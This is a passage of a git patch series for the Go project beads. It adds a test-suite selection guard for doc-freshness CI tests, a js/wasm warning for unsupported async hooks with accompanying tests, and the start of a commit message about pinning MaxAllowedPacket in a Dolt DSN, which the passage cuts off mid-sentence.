runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - name: Exercise native date and Bash process boundary - run: go test '-tags=integration,gms_pure_go' -count=1 -run '^TestDocFreshness' ./scripts + run: go test '-tags=integration,gms_pure_go' -count=1 -run '^(TestDocFreshness.*|TestRequiredSuiteContract)$' ./scripts -args -required-suite=doc-freshness - name: Exercise repository text EOL policy boundary run: go test '-tags=integration,gms_pure_go' -count=1 ./scripts/gitattributespolicy -args -required-host -expected-goos '${{ matrix.expected_goos }}' diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 8e01933da..5c02a16da 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -34,6 +34,7 @@ go_test( "pr_preflight_test.go", "pull_dolt_image_test.go", "release_script_test.go", + "required_suite_test.go", "test_script_test.go", "upgrade_smoke_loop_test.go", ], diff --git a/scripts/check_doc_freshness_test.go b/scripts/check_doc_freshness_test.go index 1307aa8f7..0d33d1a5e 100644 --- a/scripts/check_doc_freshness_test.go +++ b/scripts/check_doc_freshness_test.go @@ -64,6 +64,7 @@ date() { } ` +// Register every TestDocFreshness* test in requiredSuiteDefinitions in required_suite_test.go. func TestDocFreshnessDoesNotRequirePython(t *testing.T) { run := runDocFreshness(t, "2026-01-15", "2026-01-31", "90") if run.err != nil { diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index b3dbe74d2..d99de1a13 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -739,9 +739,12 @@ func TestRepositoryTextEOLPolicyWorkflow(t *testing.T) { } docStep := job.step(t, "Exercise native date and Bash process boundary") - const wantDocCommand = "go test '-tags=integration,gms_pure_go' -count=1 -run '^TestDocFreshness' ./scripts" + const ( + requiredSuiteSelector = "-required-suite=doc-freshness" + wantDocCommand = "go test '-tags=integration,gms_pure_go' -count=1 -run '^(TestDocFreshness.*|TestRequiredSuiteContract)$' ./scripts -args " + requiredSuiteSelector + ) if docStep.Run != wantDocCommand { - t.Errorf("doc-freshness command = %q, want exact original %q", docStep.Run, wantDocCommand) + t.Errorf("doc-freshness command = %q, want required-suite execution %q", docStep.Run, wantDocCommand) } eolStep := job.step(t, "Exercise repository text EOL policy boundary") diff --git a/scripts/required_suite_test.go b/scripts/required_suite_test.go new file mode 100644 index 000000000..cf4f26f76 --- /dev/null +++ b/scripts/required_suite_test.go @@ -0,0 +1,400 @@ +package scripts_test + +import ( + "flag" + "fmt" + "go/token" + "os" + "os/exec" + "regexp" + "slices" + "sort" + "strings" + "testing" + "unicode" + "unicode/utf8" +) + +const ( + docFreshnessRequiredSuite = "doc-freshness" + requiredSuiteContractTest = "TestRequiredSuiteContract" + // requiredSuiteChildEnv marks a child spawned by runSuiteTestProcess. Arms that + // hand a child a *valid* selection must not re-enter, or a broken flag guard + // would recurse instead of failing. + requiredSuiteChildEnv = "BEADS_TEST_REQUIRED_SUITE_CHILD" +) + +var requiredSuite = flag.String( + "required-suite", + "", + "require the named CI test suite to have its exact compiled inventory selected", +) + +type requiredSuiteDefinition struct { + memberPrefix string + tests []string +} + +var requiredSuiteDefinitions = map[string]requiredSuiteDefinition{ + docFreshnessRequiredSuite: { + memberPrefix: "TestDocFreshness", + tests: []string{ + "TestDocFreshnessDoesNotRequirePython", + "TestDocFreshnessValidatesMaxAge", + "TestDocFreshnessBashProbeIgnoresStartupEnvironment", + "TestDocFreshnessPreservesDateDiagnostics", + "TestDocFreshnessPreservesISODateBoundaries", + "TestDocFreshnessUsesProlepticGregorianLeapRules", + "TestDocFreshnessUsesNativeDefaultTodayProvider", + "TestDocFreshnessReportsUnavailableTodayProvider", + "TestDocFreshnessReportsInvalidTodayProviderOutput", + "TestDocFreshnessReportsInvalidTodayOverride", + "TestDocFreshnessRejectsMultipleLastReviewedMarkers", + }, + }, +} + +type requiredSuiteFlags struct { + run, skip, list, count, cpu string + short bool +} + +// Required mode owns only compiled top-level inventory and selection. m.Run +// remains authoritative for runtime failures, skips, and subtest dispositions. +func TestMain(m *testing.M) { + if !flag.Parsed() { + flag.Parse() + } + if *requiredSuite == "" { + os.Exit(m.Run()) + } + tests, err := listCompiledTopLevelTests() + if err == nil { + err = validateRequiredSuite(*requiredSuite, tests, currentRequiredSuiteFlags()) + } + if err != nil { + fmt.Fprintf(os.Stderr, "required test suite contract failed: %v\n", err) + os.Exit(2) + } + os.Exit(m.Run()) +} + +func TestRequiredSuiteContract(t *testing.T) { + suite := requiredSuiteDefinitions[docFreshnessRequiredSuite] + compiled := append([]string{requiredSuiteContractTest, "TestUnrelated"}, suite.tests...) + valid := requiredSuiteFlags{run: "^(TestDocFreshness.*|TestRequiredSuiteContract)$", count: "1"} + + withoutLast := append([]string(nil), compiled[:len(compiled)-1]...) + withExtra := append(append([]string(nil), compiled...), "TestDocFreshnessNewBehavior") + withDuplicate := append(append([]string(nil), compiled...), suite.tests[0]) + for _, test := range []struct { + name string + active string + compiled []string + flags requiredSuiteFlags + wantErr bool + }{ + {name: "inactive focused use", compiled: withExtra, flags: requiredSuiteFlags{run: "[", skip: ".", count: "0", short: true}}, + {name: "exact inventory and selection", active: docFreshnessRequiredSuite, compiled: compiled, flags: valid}, + {name: "unknown suite", active: "unknown", compiled: compiled, flags: valid, wantErr: true}, + {name: "zero selected", active: docFreshnessRequiredSuite, compiled: compiled, flags: withRun(valid, "^$"), wantErr: true}, + {name: "partial selection", active: docFreshnessRequiredSuite, compiled: compiled, flags: withRun(valid, "^TestDocFreshnessDoesNotRequirePython$"), wantErr: true}, + {name: "authority omitted", active: docFreshnessRequiredSuite, compiled: compiled, flags: withRun(valid, "^TestDocFreshness"), wantErr: true}, + {name: "unrelated selected", active: docFreshnessRequiredSuite, compiled: compiled, flags: withRun(valid, "^Test"), wantErr: true}, + {name: "missing inventory", active: docFreshnessRequiredSuite, compiled: withoutLast, flags: valid, wantErr: true}, + {name: "extra inventory", active: docFreshnessRequiredSuite, compiled: withExtra, flags: valid, wantErr: true}, + {name: "duplicate inventory", active: docFreshnessRequiredSuite, compiled: withDuplicate, flags: valid, wantErr: true}, + {name: "skip", active: docFreshnessRequiredSuite, compiled: compiled, flags: withFlag(valid, "skip"), wantErr: true}, + {name: "count", active: docFreshnessRequiredSuite, compiled: compiled, flags: withFlag(valid, "count"), wantErr: true}, + {name: "cpu", active: docFreshnessRequiredSuite, compiled: compiled, flags: withFlag(valid, "cpu"), wantErr: true}, + {name: "list", active: docFreshnessRequiredSuite, compiled: compiled, flags: withFlag(valid, "list"), wantErr: true}, + {name: "short", active: docFreshnessRequiredSuite, compiled: compiled, flags: withFlag(valid, "short"), wantErr: true}, + } { + t.Run(test.name, func(t *testing.T) { + err := validateRequiredSuite(test.active, test.compiled, test.flags) + if (err != nil) != test.wantErr { + t.Fatalf("validateRequiredSuite() error = %v, wantErr %t", err, test.wantErr) + } + }) + } + + t.Run("inactive TestMain preserves zero-selection success", func(t *testing.T) { + output, exitCode := runSuiteTestProcess(t, "^$", "") + if exitCode != 0 { + t.Fatalf("inactive focused child exit = %d, want 0:\n%s", exitCode, output) + } + }) + + // The table above injects synthetic requiredSuiteFlags values, so it proves only + // that the predicates reject narrowing flags. These arms pass real test flags to + // a child alongside a valid -test.run, so a broken currentRequiredSuiteFlags + // lookup key cannot silently reopen the fail-open hole. Each arm asserts its own + // diagnostic rather than the generic prefix: a wrong lookup key reads the zero + // value and falls through to a different failure, which the prefix would accept. + // They stay outside "compiled suite" because the flag guards run ahead of the + // inventory check, so they also hold where the doc tests are not compiled. + t.Run("real flag reads", func(t *testing.T) { + if os.Getenv(requiredSuiteChildEnv) != "" { + // A valid selection includes this test, so a child that got past a broken + // guard would re-enter here and spawn without bound. Stopping at depth 1 + // makes that regression a failed assertion instead of a hang. + t.Skip("child process: a valid selection re-enters this test") + } + for _, test := range []struct { + arg, want string + }{ + {arg: "-test.skip=" + suite.tests[0], want: fmt.Sprintf("forbids -test.skip=%q", suite.tests[0])}, + {arg: "-test.cpu=1,2", want: `forbids -test.cpu="1,2"`}, + {arg: "-test.list=.", want: `forbids -test.list="."`}, + {arg: "-test.short", want: "forbids -test.short"}, + } { + t.Run("TestMain rejects real "+test.arg, func(t *testing.T) { + output, exitCode := runSuiteTestProcess(t, valid.run, docFreshnessRequiredSuite, test.arg) + if exitCode == 0 || !strings.Contains(output, test.want) { + t.Fatalf("exit = %d, want nonzero with %q:\n%s", exitCode, test.want, output) + } + }) + } + }) + + t.Run("compiled suite", func(t *testing.T) { + actual, err := listCompiledTopLevelTests() + if err != nil { + t.Fatal(err) + } + if !slices.ContainsFunc(actual, func(name string) bool { + return strings.HasPrefix(name, suite.memberPrefix) + }) { + t.Skip("doc-freshness tests are not compiled without the integration build tag") + } + if err := validateRequiredSuiteInventory(suite, actual); err != nil { + t.Fatal(err) + } + for _, run := range []string{"^$", "^TestDocFreshnessDoesNotRequirePython$", "^TestDocFreshness"} { + t.Run("TestMain rejects "+run, func(t *testing.T) { + output, exitCode := runSuiteTestProcess(t, run, docFreshnessRequiredSuite) + if exitCode == 0 || !strings.Contains(output, "required test suite contract failed:") { + t.Fatalf("exit = %d, want nonzero required-suite diagnostic:\n%s", exitCode, output) + } + }) + } + }) + + t.Run("Unicode inventory is retained", func(t *testing.T) { + parsed := parseCompiledTopLevelTests("TestDocFreshnessΔ\nok\texample/scripts\t0.1s\n") + if len(parsed) != 1 || parsed[0] != "TestDocFreshnessΔ" || + validateRequiredSuiteInventory(suite, append(compiled, parsed...)) == nil { + t.Fatalf("Unicode test was dropped or accepted: parsed=%v", parsed) + } + }) + + for _, test := range []struct { + name string + want bool + }{ + {name: "TestDocFreshnessΔ", want: true}, + {name: "TestdocFreshness"}, + {name: "Testδ"}, + {name: "Test", want: true}, + {name: "Benchmark", want: true}, + {name: "Example", want: true}, + {name: "Fuzz", want: true}, + {name: "Example_doc", want: true}, + {name: "Exampledoc"}, + } { + if got := isTopLevelListCandidate(test.name); got != test.want { + t.Errorf("isTopLevelListCandidate(%q) = %t, want %t", test.name, got, test.want) + } + } +} + +func withRun(flags requiredSuiteFlags, run string) requiredSuiteFlags { + flags.run = run + return flags +} + +func withFlag(flags requiredSuiteFlags, name string) requiredSuiteFlags { + switch name { + case "skip": + flags.skip = "." + case "count": + flags.count = "2" + case "cpu": + flags.cpu = "1,2" + case "list": + flags.list = "." + case "short": + flags.short = true + } + return flags +} + +func validateRequiredSuite(name string, compiled []string, flags requiredSuiteFlags) error { + if name == "" { + return nil + } + suite, ok := requiredSuiteDefinitions[name] + if !ok { + return fmt.Errorf("unknown suite %q", name) + } + switch { + case flags.run == "": + return fmt.Errorf("suite %q requires an explicit -test.run selection", name) + case strings.Contains(flags.run, "/"): + return fmt.Errorf("suite %q requires top-level-only -test.run=%q", name, flags.run) + case flags.skip != "": + return fmt.Errorf("suite %q forbids -test.skip=%q", name, flags.skip) + case flags.count != "1": + return fmt.Errorf("suite %q requires -test.count=1, got %q", name, flags.count) + case flags.cpu != "": + return fmt.Errorf("suite %q forbids -test.cpu=%q", name, flags.cpu) + case flags.list != "": + return fmt.Errorf("suite %q forbids -test.list=%q", name, flags.list) + case flags.short: + return fmt.Errorf("suite %q forbids -test.short", name) + } + if err := validateRequiredSuiteInventory(suite, compiled); err != nil { + return fmt.Errorf("suite %q inventory: %w", name, err) + } + pattern, err := regexp.Compile(flags.run) + if err != nil { + return fmt.Errorf("suite %q has invalid -test.run=%q: %w", name, flags.run, err) + } + var selected []string + for _, testName := range compiled { + if isTopLevelRunCandidate(testName) && pattern.MatchString(testName) { + selected = append(selected, testName) + } + } + want := append(append([]string(nil), suite.tests...), requiredSuiteContractTest) + return exactInventory("-test.run="+flags.run, want, selected) +} + +func validateRequiredSuiteInventory(suite requiredSuiteDefinition, compiled []string) error { + var members []string + for _, name := range compiled { + if strings.HasPrefix(name, suite.memberPrefix) { + members = append(members, name) + } + } + return exactInventory("compiled", suite.tests, members) +} + +func exactInventory(label string, want, got []string) error { + wantCounts, gotCounts := make(map[string]int), make(map[string]int) + for _, name := range want { + wantCounts[name]++ + } + for _, name := range got { + gotCounts[name]++ + } + var missing, extra, duplicate []string + for name, count := range wantCounts { + if gotCounts[name] == 0 { + missing = append(missing, name) + } + if count > 1 { + duplicate = append(duplicate, name) + } + } + for name, count := range gotCounts { + if wantCounts[name] == 0 { + extra = append(extra, name) + } + if count > 1 { + duplicate = append(duplicate, name) + } + } + if len(missing)+len(extra)+len(duplicate) == 0 { + return nil + } + for _, names := range [][]string{missing, extra, duplicate} { + sort.Strings(names) + } + return fmt.Errorf("%s inventory missing=%v extra=%v duplicate=%v", label, missing, extra, duplicate) +} + +func isTopLevelRunCandidate(name string) bool { + return isGoTestName(name, "Test") || isGoTestName(name, "Example") || isGoTestName(name, "Fuzz") +} + +func listCompiledTopLevelTests() ([]string, error) { + executable, err := os.Executable() + if err != nil { + return nil, fmt.Errorf("locate current test executable: %w", err) + } + output, err := exec.Command(executable, "-test.list=.").CombinedOutput() + if err != nil { + return nil, fmt.Errorf("list compiled top-level tests: %w: %s", err, strings.TrimSpace(string(output))) + } + tests := parseCompiledTopLevelTests(string(output)) + if len(tests) == 0 { + return nil, fmt.Errorf("test executable reported no compiled top-level tests") + } + return tests, nil +} + +func parseCompiledTopLevelTests(output string) []string { + var tests []string + for _, line := range strings.Split(output, "\n") { + name := strings.TrimSpace(line) + if token.IsIdentifier(name) && isTopLevelListCandidate(name) { + tests = append(tests, name) + } + } + return tests +} + +func isTopLevelListCandidate(name string) bool { + return isTopLevelRunCandidate(name) || isGoTestName(name, "Benchmark") +} + +func isGoTestName(name, prefix string) bool { + if !strings.HasPrefix(name, prefix) { + return false + } + if len(name) == len(prefix) { + return true + } + next, _ := utf8.DecodeRuneInString(name[len(prefix):]) + return !unicode.IsLower(next) +} + +func runSuiteTestProcess(t *testing.T, run, suite string, extraArgs ...string) (string, int) { + t.Helper() + executable, err := os.Executable() + if err != nil { + t.Fatal(err) + } + args := []string{"-test.count=1", "-test.run=" + run} + if suite != "" { + args = append(args, "-required-suite="+suite) + } + args = append(args, extraArgs...) + command := exec.Command(executable, args...) + command.Env = append(os.Environ(), requiredSuiteChildEnv+"=1") + output, runErr := command.CombinedOutput() + if runErr == nil { + return string(output), 0 + } + if exitErr, ok := runErr.(*exec.ExitError); ok { + return string(output), exitErr.ExitCode() + } + t.Fatal(runErr) + return "", -1 +} + +func currentRequiredSuiteFlags() requiredSuiteFlags { + return requiredSuiteFlags{ + run: testFlagValue("test.run"), skip: testFlagValue("test.skip"), + list: testFlagValue("test.list"), count: testFlagValue("test.count"), + cpu: testFlagValue("test.cpu"), short: testFlagValue("test.short") == "true", + } +} + +func testFlagValue(name string) string { + if testFlag := flag.Lookup(name); testFlag != nil { + return testFlag.Value.String() + } + return "" +} From 3344349d8511cabb45ab92bc7c46c95028962521 Mon Sep 17 00:00:00 2001 From: ecuthiell Date: Thu, 1 Oct 2026 02:08:04 -0600 Subject: [PATCH 009/325] fix(hooks): warn on unsupported async execution (#5673) * fix(hooks): warn on unsupported async execution (#5669) Report the js/wasm unsupported-hook sentinel at Runner.Run's fire-and-forget boundary while preserving synchronous errors, tracing, and native behavior. Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of Ewen Cuthiell Signed-off-by: Ewen Cuthiell * fix(hooks): isolate asynchronous warning capture (saa-cgh.82) Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * test(hooks): pin the refusal guard's polarity and Run's production route Maintainer review fixes for the adopt-pr review of #5673, iteration 1. Test-only; production code is byte-identical. major / Test Evidence Quality. Nothing rejected widening runAsync's errors.Is(err, errHookExecutionUnsupported) to a bare err != nil. On js/wasm runHook is an unconditional stub whose only return is that sentinel, so the two predicates agree for every input there and no wasm test can tell them apart; on unix/windows runHook returns real exec errors, so the loosening would print `warning: hook "..." was not run: exit status 1` for a hook that did run -- false, and a break of the fire-and-forget silence runAsync's own comment states. Adds TestRunAsync_SilentOnHookFailure to hooks_test.go, skipped on Windows for the reason TestRun_Async already documents and on js/wasm, which has no executed-but-failed outcome to observe. An executable hook writes a marker and exits 1, runAsync is called directly with an injected buffer, and the buffer must stay empty; the marker is what separates "ran and failed" from "never ran", which would also be silent and would pass for the wrong reason. Measured: under the err != nil mutation this is the only test in the linux package that reds, and the required js/wasm lane stays green -- which is the gap itself. minor / Change Impact. No test drove the production route Run -> runAsync, so the new warning could have been inert on the platform it exists for: the pre-existing subtest calls runAsync directly with a hookPath it never creates. Adds a nested subtest under TestRunHookReportsUnsupportedExecution that writes the hook at 0755 and calls Run. The exec bit was measured to survive on this js/wasm host (Node v25.9.0, mode -rwxr-xr-x), so Run does reach the warning there. The subtest asserts whichever outcome the host's own file mode implies rather than skipping, because both required lanes' count guards reject a SKIP line as well as a FAIL. Injecting the unreachable-route defect reds only this subtest while the pre-existing one stays green, so it adds coverage rather than duplicating it. nit / Debuggability. The sync assertion calls runHook, so its failure message now says runHook instead of RunSync. Per the synthesis scope note this leaves the exec-bit preflight at hooks.go:75-77 and the CI selector and its count guards untouched. Both required js/wasm lanes (pr.yml and bazel.yml, run verbatim) still report runs=1 passes=1 nonpasses=0, the full js/wasm package keeps the same 5 base-preexisting failures with no new one, and gazelle leaves internal/hooks/BUILD.bazel byte-identical. --------- Signed-off-by: Ewen Cuthiell Co-authored-by: Gas City Adopt-PR --- internal/hooks/hooks.go | 22 +++++-- internal/hooks/hooks_test.go | 58 ++++++++++++++++++ internal/hooks/hooks_wasm.go | 3 - internal/hooks/hooks_wasm_test.go | 98 +++++++++++++++++++++++++++++++ 4 files changed, 174 insertions(+), 7 deletions(-) diff --git a/internal/hooks/hooks.go b/internal/hooks/hooks.go index a2e38d368..aacf51bfb 100644 --- a/internal/hooks/hooks.go +++ b/internal/hooks/hooks.go @@ -3,6 +3,9 @@ package hooks import ( + "errors" + "fmt" + "io" "os" "path/filepath" "sync" @@ -11,6 +14,8 @@ import ( "github.com/steveyegge/beads/internal/types" ) +var errHookExecutionUnsupported = errors.New("hook execution is not supported on js/wasm") + // Event types const ( EventCreate = "create" @@ -71,13 +76,22 @@ func (r *Runner) Run(event string, issue *types.Issue) { return // Not executable, skip } - // Run asynchronously (ignore error as this is fire-and-forget). - // runHook is the same body RunSync runs, so the async path is under the - // same per-hook timeout and the same process-group kill on expiry. + r.runAsync(hookPath, event, issue, os.Stderr) +} + +// runAsync owns the fire-and-forget boundary after Run has established that a +// configured executable hook exists. The mutation still cannot fail because a +// hook did, but a platform capability refusal must not disappear with the +// discarded error. +// Both async and sync use the same runHook body, with the same per-hook timeout +// and platform-specific cleanup on expiry. +func (r *Runner) runAsync(hookPath, event string, issue *types.Issue, stderr io.Writer) { r.inFlight.Add(1) go func() { defer r.inFlight.Done() - _ = r.runHook(hookPath, event, issue) // Best effort: hook failures should not block the triggering operation + if err := r.runHook(hookPath, event, issue); errors.Is(err, errHookExecutionUnsupported) { + _, _ = fmt.Fprintf(stderr, "warning: hook %q was not run: %v\n", hookPath, err) + } }() } diff --git a/internal/hooks/hooks_test.go b/internal/hooks/hooks_test.go index c64a027f4..3e74994d8 100644 --- a/internal/hooks/hooks_test.go +++ b/internal/hooks/hooks_test.go @@ -1,6 +1,7 @@ package hooks import ( + "bytes" "os" "path/filepath" "runtime" @@ -422,6 +423,63 @@ func TestRun_Async(t *testing.T) { } } +// TestRunAsync_SilentOnHookFailure pins the polarity the wasm test cannot: +// runAsync warns for a platform capability refusal and stays silent for every +// other error, including a hook that really ran and exited non-zero. +// +// It has to live on a native platform. On js/wasm runHook is an unconditional +// stub whose only return is errHookExecutionUnsupported, so there +// errors.Is(err, errHookExecutionUnsupported) and a bare err != nil agree for +// every input and no wasm test can tell them apart. Here they disagree: widening +// the guard in runAsync makes this test print +// `warning: hook "…" was not run: exit status 1` for a hook that did run — a +// false statement, and a break of the fire-and-forget silence the same function +// documents. +func TestRunAsync_SilentOnHookFailure(t *testing.T) { + switch runtime.GOOS { + case "windows": + // Same limitation TestRun_Async skips for: Windows executes hook + // files directly via CreateProcess with no shebang dispatch, so an + // extensionless /bin/sh script never reaches a non-zero exit. + t.Skip("hook script execution not supported on Windows - see GH#3800") + case "js": + // The stub above; the js/wasm contract is pinned by + // TestRunHookReportsUnsupportedExecution in hooks_wasm_test.go. + t.Skip("js/wasm cannot execute hooks, so it has no failed-hook outcome to observe") + } + + tmpDir := t.TempDir() + hookPath := filepath.Join(tmpDir, HookOnCreate) + markerPath := filepath.Join(tmpDir, "hook_ran.txt") + + // The marker is what makes the empty-stderr assertion non-vacuous: it + // separates "executed and exited 1" from "never executed", which would also + // produce no warning and would pass for the wrong reason. + hookScript := "#!/bin/sh\n" + + "echo \"ran\" > \"" + markerPath + "\"\n" + + "exit 1\n" + if err := os.WriteFile(hookPath, []byte(hookScript), 0755); err != nil { + t.Fatalf("Failed to create hook file: %v", err) + } + + var stderr bytes.Buffer + runner := NewRunner(tmpDir) + issue := &types.Issue{ID: "bd-test", Title: "Test"} + + runner.runAsync(hookPath, EventCreate, issue, &stderr) + if !runner.Wait(runner.Timeout()) { + t.Fatal("asynchronous hook did not finish within the runner timeout") + } + + if _, err := os.Stat(markerPath); err != nil { + t.Fatalf("hook did not execute (marker %s: %v); the silence below would prove nothing", markerPath, err) + } + + if got := stderr.String(); got != "" { + t.Errorf("stderr = %q, want %q: a hook that ran and exited non-zero must not be reported as not run", got, "") + } +} + func TestAllHookEvents(t *testing.T) { // Verify all event constants have corresponding hook names events := []struct { diff --git a/internal/hooks/hooks_wasm.go b/internal/hooks/hooks_wasm.go index a930cd39b..94ebe9782 100644 --- a/internal/hooks/hooks_wasm.go +++ b/internal/hooks/hooks_wasm.go @@ -4,7 +4,6 @@ package hooks import ( "context" - "errors" "go.opentelemetry.io/otel" "go.opentelemetry.io/otel/attribute" @@ -14,8 +13,6 @@ import ( "github.com/steveyegge/beads/internal/types" ) -var errHookExecutionUnsupported = errors.New("hook execution is not supported on js/wasm") - func (*Runner) runHook(hookPath, event string, issue *types.Issue) (retErr error) { // Hooks are fire-and-forget so they have no parent span; create the same // root span as native runners so asynchronous refusals remain observable. diff --git a/internal/hooks/hooks_wasm_test.go b/internal/hooks/hooks_wasm_test.go index b28475ee3..206a9939d 100644 --- a/internal/hooks/hooks_wasm_test.go +++ b/internal/hooks/hooks_wasm_test.go @@ -3,8 +3,12 @@ package hooks import ( + "bytes" "context" "errors" + "fmt" + "os" + "path/filepath" "testing" "go.opentelemetry.io/otel" @@ -16,7 +20,101 @@ import ( "github.com/steveyegge/beads/internal/types" ) +func testUnsupportedExecutionAsyncWarningAndSyncError(t *testing.T) { + hookPath := filepath.Join(t.TempDir(), HookOnCreate) + + var stderr bytes.Buffer + + runner := NewRunner(filepath.Dir(hookPath)) + issue := &types.Issue{ID: "wasm-test"} + // Run calls this boundary after its platform-independent existence and + // executable-bit preflight. Calling it directly keeps the js/wasm contract + // deterministic on Node hosts whose virtual filesystem drops Unix exec bits. + runner.runAsync(hookPath, EventCreate, issue, &stderr) + if !runner.Wait(runner.Timeout()) { + t.Fatal("asynchronous hook refusal did not finish") + } + + // RunSync delegates to this platform primitive after the same preflight. It + // retains the returned-error contract without printing a second warning. + if err := runner.runHook(hookPath, EventCreate, issue); !errors.Is(err, errHookExecutionUnsupported) { + t.Fatalf("runHook error = %v, want %v", err, errHookExecutionUnsupported) + } + + got := stderr.String() + want := fmt.Sprintf("warning: hook %q was not run: %v\n", hookPath, errHookExecutionUnsupported) + if got != want { + t.Fatalf("stderr = %q, want exactly one warning %q", got, want) + } +} + +// testUnsupportedExecutionRunReachesTheBoundary covers the production route the +// subtest above deliberately bypasses: Run itself, with a hook file that really +// exists on disk. Run gates on existence, IsDir and the executable bit before it +// calls runAsync, so whether the refusal is reachable at all on a given host is +// decided by whether that host's filesystem keeps the exec bit — which is +// exactly what the bypass comment above asserts it may not. +// +// The host answers that question here rather than being assumed, and either +// answer is asserted instead of skipped: this test runs under the required +// js/wasm lane, whose count guard rejects a SKIP line as well as a FAIL. +func testUnsupportedExecutionRunReachesTheBoundary(t *testing.T) { + hooksDir := t.TempDir() + hookPath := filepath.Join(hooksDir, HookOnCreate) + if err := os.WriteFile(hookPath, []byte("#!/bin/sh\nexit 0\n"), 0755); err != nil { + t.Fatalf("create hook file: %v", err) + } + info, err := os.Stat(hookPath) + if err != nil { + t.Fatalf("stat hook file: %v", err) + } + executable := info.Mode()&0111 != 0 + + // Run writes to the process stderr, so capturing it is the only way to see + // what a user would. A file rather than a pipe: this host is a wasm runtime. + stderrPath := filepath.Join(hooksDir, "stderr.txt") + capture, err := os.Create(stderrPath) + if err != nil { + t.Fatalf("create stderr capture: %v", err) + } + original := os.Stderr + restore := func() { os.Stderr = original } + t.Cleanup(restore) + os.Stderr = capture + + runner := NewRunner(hooksDir) + issue := &types.Issue{ID: "wasm-test"} + runner.Run(EventCreate, issue) + if !runner.Wait(runner.Timeout()) { + t.Fatal("asynchronous hook refusal did not finish") + } + + // Wait returned, so the goroutine's Fprintf happens-before this restore. + restore() + if err := capture.Close(); err != nil { + t.Fatalf("close stderr capture: %v", err) + } + got, err := os.ReadFile(stderrPath) + if err != nil { + t.Fatalf("read stderr capture: %v", err) + } + + want := "" + reached := "does not reach" + if executable { + want = fmt.Sprintf("warning: hook %q was not run: %v\n", hookPath, errHookExecutionUnsupported) + reached = "reaches" + } + if string(got) != want { + t.Fatalf("Run stderr = %q, want %q (hook mode %v)", string(got), want, info.Mode()) + } + t.Logf("hook file mode %v on this host, so Run %s the refusal warning", info.Mode(), reached) +} + func TestRunHookReportsUnsupportedExecution(t *testing.T) { + t.Run("async warning and sync error", testUnsupportedExecutionAsyncWarningAndSyncError) + t.Run("run drives the boundary", testUnsupportedExecutionRunReachesTheBoundary) + spanRecorder := tracetest.NewSpanRecorder() tracerProvider := sdktrace.NewTracerProvider(sdktrace.WithSpanProcessor(spanRecorder)) previousTracerProvider := otel.GetTracerProvider() From a4cc7ee29c1c8aa4d9f1fb92206bec03e7d8147c Mon Sep 17 00:00:00 2001 From: matt wilkie Date: Thu, 1 Oct 2026 01:10:37 -0700 Subject: [PATCH 010/325] perf(dolt): pin MaxAllowedPacket in the server DSN to drop a per-connection round trip (#5273 item 4) (#5316) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * perf(dolt): pin MaxAllowedPacket in the server DSN (#5273 item 4) Both DSN builders construct mysql.Config as a composite literal rather than via mysql.NewConfig(), so MaxAllowedPacket is left at zero. FormatDSN emits maxAllowedPacket=0, and go-sql-driver/mysql then runs SELECT @@max_allowed_packet while establishing every new connection, because its connector takes that probe whenever cfg.MaxAllowedPacket <= 0. That is an extra round-trip per connection, paid on every pool expansion — the cost that matters against a high-latency remote Dolt server, where connections are opened far more often than the packet limit ever changes. Pin the value to the driver's own defaultMaxAllowedPacket (64 MiB), which is what a mysql.NewConfig() caller already gets, so the packet limit itself is unchanged. The constant is duplicated because the driver keeps it unexported. FormatDSN omits the parameter entirely when it equals that default and ParseDSN starts from NewConfig(), so the value survives the round-trip through the DSN string without being written into it. Tests assert the parsed value rather than the DSN text, for that reason: a substring check would pass for the wrong reason. Verified RED by reverting just the field — both new tests fail with "got 0", and the failure message shows the offending DSN carrying maxAllowedPacket=0. Companion to #4617 (interpolateParams in the same file), and item 4 of the PR #4167 showcase salvage list. Credit: the round-trip analysis originates in the showcase work of Hans Boese (@Shockwave2k) in #4167 / #4165. Agent-Signature: claude-opus-5-high on behalf of maphew * fix(dolt): pin the packet ceiling to Dolt's 1 GiB, not the driver's 64 MiB Cross-vendor review (codex gpt-5.6-sol) caught a real regression in the previous commit: pinning MaxAllowedPacket to go-sql-driver/mysql's own defaultMaxAllowedPacket (64 MiB) does skip the per-connection probe, but it also lowers the client's ceiling far below the server's. Verified against the engine rather than assumed. go-mysql-server declares: "max_allowed_packet": &sql.MysqlSystemVariable{ Type: types.NewSystemUintType("max_allowed_packet", 1024, 1073741824), Default: int64(1073741824), } so Dolt defaults to 1 GiB and its sysvar type caps the value there — no Dolt server can be configured to accept a larger packet. Under the old probing behavior the driver set its ceiling from that server value; a 64 MiB pin would instead have made the driver reject oversized statements locally with ErrPktTooLarge, breaking large imports and base64 content that previously succeeded. Pin 1 GiB instead. The round-trip saving is unchanged (the probe is taken whenever cfg.MaxAllowedPacket <= 0, not when it differs from any particular value), and the client now never rejects a packet the server would accept. Trade-off, stated in the code: the probe read the server's *configured* value, so an operator who lowers max_allowed_packet below 1 GiB no longer gets a client-side rejection — the server rejects instead. That moves the error to the authoritative side and never silently truncates. Both tests now assert the ceiling is at least Dolt's 1 GiB, so a future change back to the driver default fails rather than silently shrinking the limit. Agent-Signature: claude-opus-5-high on behalf of maphew * build(bazel): add the mysql dep to the two dsn go_test targets (make bazel-sync) Both dsn_test.go files now import github.com/go-sql-driver/mysql directly (for mysql.ParseDSN), so gazelle emits the dep on each go_test. Without it, bazel.yml's "BUILD files in sync" step fails in the required bazel-test lane. Generated by `make bazel-sync`; matches the drift that step reported. Co-Authored-By: Claude Opus 5.5 * docs(dolt): correct the max_allowed_packet trade-off comment Maintainer fixup for PR #5316 review iteration 1. The synthesis and the quality scorecard both approve (989/1000, no blocker or major findings). This is the one non-gating minor; both review lanes flagged it independently. The maxAllowedPacketBytes doc comment said that when an operator lowers max_allowed_packet below 1 GiB, "the server rejects the statement instead". Dolt does not do that. In the engine versions this module pins, the sysvar has one non-test reader, go-mysql-server's LOAD_FILE (sql/expression/function/load_file.go). vitess's MaxPacketSize is only the 16 MiB wire-framing constant, and vitess reassembles multi-packet payloads without any size check. dolt/go never reads the sysvar. A lowered setting is therefore honored nowhere on the statement path, which matches the PR description's own analysis. The last 